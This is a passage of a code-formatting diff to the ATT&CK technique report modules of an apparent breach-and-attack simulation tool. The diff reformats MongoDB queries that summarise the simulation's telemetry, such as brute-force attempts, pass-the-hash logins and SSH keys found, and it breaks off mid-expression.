"_id": { + "machine": "$machine", + "gathered_data_type": "$gathered_data_type", + "info": "$info", + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1005.get_tech_base_data() - data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + data.update({"collected_data": list(mongo.db.telemetry.aggregate(T1005.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index a1162b1090f..594c593d52f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -11,19 +11,37 @@ class T1016(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." - query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, - {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'networks': '$data.network_info.networks', - 'netstat': '$data.network_info.netstat'}}, - {'$addFields': {'_id': 0, - 'netstat': 0, - 'networks': 0, - 'info': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, - 'name': {'$literal': 'Network connections (netstat)'}}, - {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, - 'name': {'$literal': 'Network interface info'}}, - ]}}] + query = [ + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + { + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "networks": "$data.network_info.networks", + "netstat": "$data.network_info.netstat", + } + }, + { + "$addFields": { + "_id": 0, + "netstat": 0, + "networks": 0, + "info": [ + { + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$netstat", {}]}] + }, + "name": {"$literal": "Network connections (netstat)"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] + }, + "name": {"$literal": "Network interface info"}, + }, + ], + } + }, + ] @staticmethod def get_report_data(): @@ -36,5 +54,5 @@ def get_technique_status_and_data(): status, network_info = get_technique_status_and_data() data = T1016.get_base_data_by_status(status) - data.update({'network_info': network_info}) + data.update({"network_info": network_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index 3ea49603c2a..500a1a32566 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -11,20 +11,33 @@ class T1018(AttackTechnique): scanned_msg = "" used_msg = "Monkey found machines on the network." - query = [{'$match': {'telem_category': 'scan'}}, - {'$sort': {'timestamp': 1}}, - {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, - 'machines': {'$addToSet': '$data.machine'}, - 'started': {'$first': '$timestamp'}, - 'finished': {'$last': '$timestamp'}}}, - {'$lookup': {'from': 'monkey', - 'localField': '_id.monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey_tmp'}}, - {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, - {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', - 'ips': '$monkey_tmp.ip_addresses'}, - 'monkey_tmp': 0}}] + query = [ + {"$match": {"telem_category": "scan"}}, + {"$sort": {"timestamp": 1}}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid"}, + "machines": {"$addToSet": "$data.machine"}, + "started": {"$first": "$timestamp"}, + "finished": {"$last": "$timestamp"}, + } + }, + { + "$lookup": { + "from": "monkey", + "localField": "_id.monkey_guid", + "foreignField": "guid", + "as": "monkey_tmp", + } + }, + {"$addFields": {"_id": 0, "monkey_tmp": {"$arrayElemAt": ["$monkey_tmp", 0]}}}, + { + "$addFields": { + "monkey": {"hostname": "$monkey_tmp.hostname", "ips": "$monkey_tmp.ip_addresses"}, + "monkey_tmp": 0, + } + }, + ] @staticmethod def get_report_data(): @@ -40,5 +53,5 @@ def get_technique_status_and_data(): status, scan_info = get_technique_status_and_data() data = T1018.get_base_data_by_status(status) - data.update({'scan_info': scan_info}) + data.update({"scan_info": scan_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index b017e7c85c2..9fe32b4d54b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -13,22 +13,26 @@ class T1021(AttackTechnique): used_msg = "Monkey successfully logged into remote services on the network." # Gets data about brute force attempts - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]} - } - } - } - }] - - scanned_query = {'telem_category': 'exploit', - 'data.attempts': {'$elemMatch': {'result': True}}} + query = [ + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] + + scanned_query = {"telem_category": "exploit", "data.attempts": {"$elemMatch": {"result": True}}} @staticmethod def get_report_data(): @@ -40,9 +44,9 @@ def get_technique_status_and_data(): if attempts: status = ScanStatus.USED.value for result in attempts: - result['successful_creds'] = [] - for attempt in result['attempts']: - result['successful_creds'].append(parse_creds(attempt)) + result["successful_creds"] = [] + for attempt in result["attempts"]: + result["successful_creds"].append(parse_creds(attempt)) else: status = ScanStatus.SCANNED.value else: @@ -52,5 +56,5 @@ def get_technique_status_and_data(): status, attempts = get_technique_status_and_data() data = T1021.get_base_data_by_status(status) - data.update({'services': attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index e0694f3b493..d11a74b3118 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -12,5 +12,5 @@ class T1035(UsageTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': T1035.get_usage_data()}) + data.update({"services": T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index b4548dac870..262c1820422 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -16,9 +16,14 @@ def get_report_data(): @T1041.is_status_disabled def get_technique_status_and_data(): monkeys = list(Monkey.objects()) - info = [{'src': monkey['command_control_channel']['src'], - 'dst': monkey['command_control_channel']['dst']} - for monkey in monkeys if monkey['command_control_channel']] + info = [ + { + "src": monkey["command_control_channel"]["src"], + "dst": monkey["command_control_channel"]["dst"], + } + for monkey in monkeys + if monkey["command_control_channel"] + ] if info: status = ScanStatus.USED.value else: @@ -28,5 +33,5 @@ def get_technique_status_and_data(): status, info = get_technique_status_and_data() data = T1041.get_base_data_by_status(status) - data.update({'command_control_channel': info}) + data.update({"command_control_channel": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py index 7ab1b5607ca..5e1944ff731 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py @@ -6,7 +6,9 @@ class T1053(PostBreachTechnique): tech_id = "T1053" - unscanned_msg = "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried scheduling a job on the Windows system but failed." used_msg = "Monkey scheduled a job on the Windows system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index b702ddd5860..dc97ef85b91 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -11,15 +11,19 @@ class T1059(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran commands on exploited machines in the network." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$exists": True, "$ne": []}, + } + }, + {"$unwind": "$data.info.executed_cmds"}, + {"$sort": {"data.info.executed_cmds.powershell": 1}}, + {"$project": {"_id": 0, "machine": "$data.machine", "info": "$data.info"}}, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + {"$project": {"_id": 0, "data": {"$arrayElemAt": ["$data", 0]}}}, + ] @staticmethod def get_report_data(): @@ -33,7 +37,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {'title': T1059.technique_title(), 'cmds': cmd_data} + data = {"title": T1059.technique_title(), "cmds": cmd_data} data.update(T1059.get_message_and_status(status)) data.update(T1059.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 2c68c9ae42e..1ca2ba62e77 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -14,5 +14,5 @@ class T1064(UsageTechnique): def get_report_data(): data = T1064.get_tech_base_data() script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) - data.update({'scripts': script_usages}) + data.update({"scripts": script_usages}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index 3b18be488e2..7734eb78273 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -16,6 +16,6 @@ class T1065(AttackTechnique): @staticmethod def get_report_data(): - port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(':')[1] + port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(":")[1] T1065.used_msg = T1065.message % port return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 5d3f270e7f5..36c409531b9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -7,26 +7,50 @@ class T1075(AttackTechnique): tech_id = "T1075" - unscanned_msg = "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." used_msg = "Monkey successfully used hashed credentials." - login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}}, - {'lm_hash': {'$ne': ''}}]}}} + login_attempt_query = { + "data.attempts": { + "$elemMatch": {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]} + } + } # Gets data about successful PTH logins - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}, - '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, - {'lm_hash': {'$ne': ''}}]}, - {'result': True}]}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.attempts": { + "$not": {"$size": 0}, + "$elemMatch": { + "$and": [ + {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]}, + {"result": True}, + ] + }, + }, + } + }, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] @staticmethod def get_report_data(): @@ -42,8 +66,8 @@ def get_technique_status_and_data(): return (status, successful_logins) status, successful_logins = get_technique_status_and_data() - data = {'title': T1075.technique_title()} - data.update({'successful_logins': successful_logins}) + data = {"title": T1075.technique_title()} + data.update({"successful_logins": successful_logins}) data.update(T1075.get_message_and_status(status)) data.update(T1075.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 1a9ff94f8b2..7025a658ce4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -11,30 +11,63 @@ class T1082(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, - {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'aws': '$data.aws', - 'netstat': '$data.network_info.netstat', - 'process_list': '$data.process_list', - 'ssh_info': '$data.ssh_info', - 'azure_info': '$data.Azure'}}, - {'$project': {'_id': 0, - 'machine': 1, - 'collections': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, - 'name': {'$literal': 'Amazon Web Services info'}}, - {'used': {'$and': [{'$ifNull': ['$process_list', False]}, - {'$gt': ['$process_list', {}]}]}, - 'name': {'$literal': 'Running process list'}}, - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, - 'name': {'$literal': 'Network connections'}}, - {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, - 'name': {'$literal': 'SSH info'}}, - {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, - 'name': {'$literal': 'Azure info'}} - ]}}, - {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + { + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "aws": "$data.aws", + "netstat": "$data.network_info.netstat", + "process_list": "$data.process_list", + "ssh_info": "$data.ssh_info", + "azure_info": "$data.Azure", + } + }, + { + "$project": { + "_id": 0, + "machine": 1, + "collections": [ + { + "used": {"$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$aws", {}]}]}, + "name": {"$literal": "Amazon Web Services info"}, + }, + { + "used": { + "$and": [ + {"$ifNull": ["$process_list", False]}, + {"$gt": ["$process_list", {}]}, + ] + }, + "name": {"$literal": "Running process list"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$ne": ["$netstat", []]}] + }, + "name": {"$literal": "Network connections"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] + }, + "name": {"$literal": "SSH info"}, + }, + { + "used": { + "$and": [ + {"$ifNull": ["$azure_info", False]}, + {"$ne": ["$azure_info", []]}, + ] + }, + "name": {"$literal": "Azure info"}, + }, + ], + } + }, + {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): @@ -48,8 +81,8 @@ def get_technique_status_and_data(): return (status, system_info) status, system_info = get_technique_status_and_data() - data = {'title': T1082.technique_title()} - data.update({'system_info': system_info}) + data = {"title": T1082.technique_title()} + data.update({"system_info": system_info}) data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index d6237a3f733..d034d531601 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -11,17 +11,30 @@ class T1086(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}}, - {'$project': {'machine': '$data.machine', - 'info': '$data.info'}}, - {'$project': {'_id': 0, - 'machine': 1, - 'info.finished': 1, - 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds', - 'as': 'command', - 'cond': {'$eq': ['$$command.powershell', True]}}}}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$elemMatch": {"powershell": True}}, + } + }, + {"$project": {"machine": "$data.machine", "info": "$data.info"}}, + { + "$project": { + "_id": 0, + "machine": 1, + "info.finished": 1, + "info.executed_cmds": { + "$filter": { + "input": "$info.executed_cmds", + "as": "command", + "cond": {"$eq": ["$$command.powershell", True]}, + } + }, + } + }, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + ] @staticmethod def get_report_data(): @@ -35,7 +48,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {'title': T1086.technique_title(), 'cmds': cmd_data} + data = {"title": T1086.technique_title(), "cmds": cmd_data} data.update(T1086.get_mitigation_by_status(status)) data.update(T1086.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index f68ab116646..66078e0d073 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -23,5 +23,5 @@ def get_technique_status_and_data(): status, monkeys = get_technique_status_and_data() data = T1090.get_base_data_by_status(status) - data.update({'proxies': monkeys}) + data.update({"proxies": monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 83297661718..edcca2c2df9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -10,17 +10,22 @@ class T1105(AttackTechnique): scanned_msg = "Monkey tried to copy files, but failed." used_msg = "Monkey successfully copied files to systems on the network." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$project': {'_id': 0, - 'src': '$data.src', - 'dst': '$data.dst', - 'filename': '$data.filename'}}, - {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + { + "$project": { + "_id": 0, + "src": "$data.src", + "dst": "$data.dst", + "filename": "$data.filename", + } + }, + {"$group": {"_id": {"src": "$src", "dst": "$dst", "filename": "$filename"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1105.get_tech_base_data() - data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + data.update({"files": list(mongo.db.telemetry.aggregate(T1105.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index d07a66038fd..0dfc749cc66 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -12,5 +12,5 @@ class T1106(UsageTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({'api_uses': T1106.get_usage_data()}) + data.update({"api_uses": T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index 9448c2e6b20..18f3a047ba7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -10,23 +10,36 @@ class T1107(AttackTechnique): scanned_msg = "Monkey tried to delete files on systems in the network, but failed." used_msg = "Monkey successfully deleted files on systems in the network." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': 'T1107'}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'path': '$data.path'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": "T1107"}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "path": "$data.path", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "path": "$path"}}}, + ] @staticmethod def get_report_data(): data = T1107.get_tech_base_data() deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) - data.update({'deleted_files': deleted_files}) + data.update({"deleted_files": deleted_files}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 63e6ba26ff9..118371ac592 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -13,15 +13,24 @@ class T1110(AttackTechnique): used_msg = "Monkey successfully used brute force in the network." # Gets data about brute force attempts - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + query = [ + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] @staticmethod def get_report_data(): @@ -31,10 +40,10 @@ def get_technique_status_and_data(): succeeded = False for result in attempts: - result['successful_creds'] = [] - for attempt in result['attempts']: + result["successful_creds"] = [] + for attempt in result["attempts"]: succeeded = True - result['successful_creds'].append(parse_creds(attempt)) + result["successful_creds"].append(parse_creds(attempt)) if succeeded: status = ScanStatus.USED.value @@ -48,7 +57,7 @@ def get_technique_status_and_data(): data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts - attempts = [attempt for attempt in attempts if attempt['attempts']] + attempts = [attempt for attempt in attempts if attempt["attempts"]] - data.update({'services': attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 3a13c5101a7..e0d079d7e9a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -5,12 +5,14 @@ class T1129(UsageTechnique): tech_id = "T1129" - unscanned_msg = "Monkey didn't try to load any DLLs since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to load any DLLs since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to load DLLs, but failed." used_msg = "Monkey successfully loaded DLLs using Windows module loader." @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({'dlls': T1129.get_usage_data()}) + data.update({"dlls": T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index d9d86e08ea4..dfc5945a362 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,4 +1,7 @@ -from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import ( + POST_BREACH_BACKDOOR_USER, + POST_BREACH_COMMUNICATE_AS_NEW_USER, +) from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 5d96d863e4a..82dccf6399b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -12,11 +12,21 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info', - 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, - {'$project': {'_id': 0, - 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'ssh_info': '$data.ssh_info'}}] + query = [ + { + "$match": { + "telem_category": "system_info", + "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + } + }, + { + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "ssh_info": "$data.ssh_info", + } + }, + ] @staticmethod def get_report_data(): @@ -32,5 +42,5 @@ def get_technique_status_and_data(): status, ssh_info = get_technique_status_and_data() data = T1145.get_base_data_by_status(status) - data.update({'ssh_info': ssh_info}) + data.update({"ssh_info": ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index e1ca3423fe8..9391e52e94c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -6,16 +6,30 @@ class T1146(PostBreachTechnique): tech_id = "T1146" - unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try clearing the command history since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried clearing the command history but failed." used_msg = "Monkey successfully cleared the command history (and then restored it back)." pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_CLEAR_CMD_HISTORY}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}] + return [ + { + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_CLEAR_CMD_HISTORY, + } + }, + { + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], + }, + "result": "$data.result", + } + }, + ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 0b2fdf41ebb..abd32f78fca 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -6,19 +6,36 @@ class T1156(PostBreachTechnique): tech_id = "T1156" - unscanned_msg = "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines." + unscanned_msg = ( + "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines." + ) scanned_msg = "Monkey tried modifying bash startup files but failed." used_msg = "Monkey successfully modified bash startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] @staticmethod def get_pba_query(*args): - return [{'$match': {'telem_category': 'post_breach', - 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}}, - {'$project': {'_id': 0, - 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, - 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, - 'result': '$data.result'}}, - {'$unwind': '$result'}, - {'$match': {'$or': [{'result': {'$regex': r'\.bash'}}, - {'result': {'$regex': 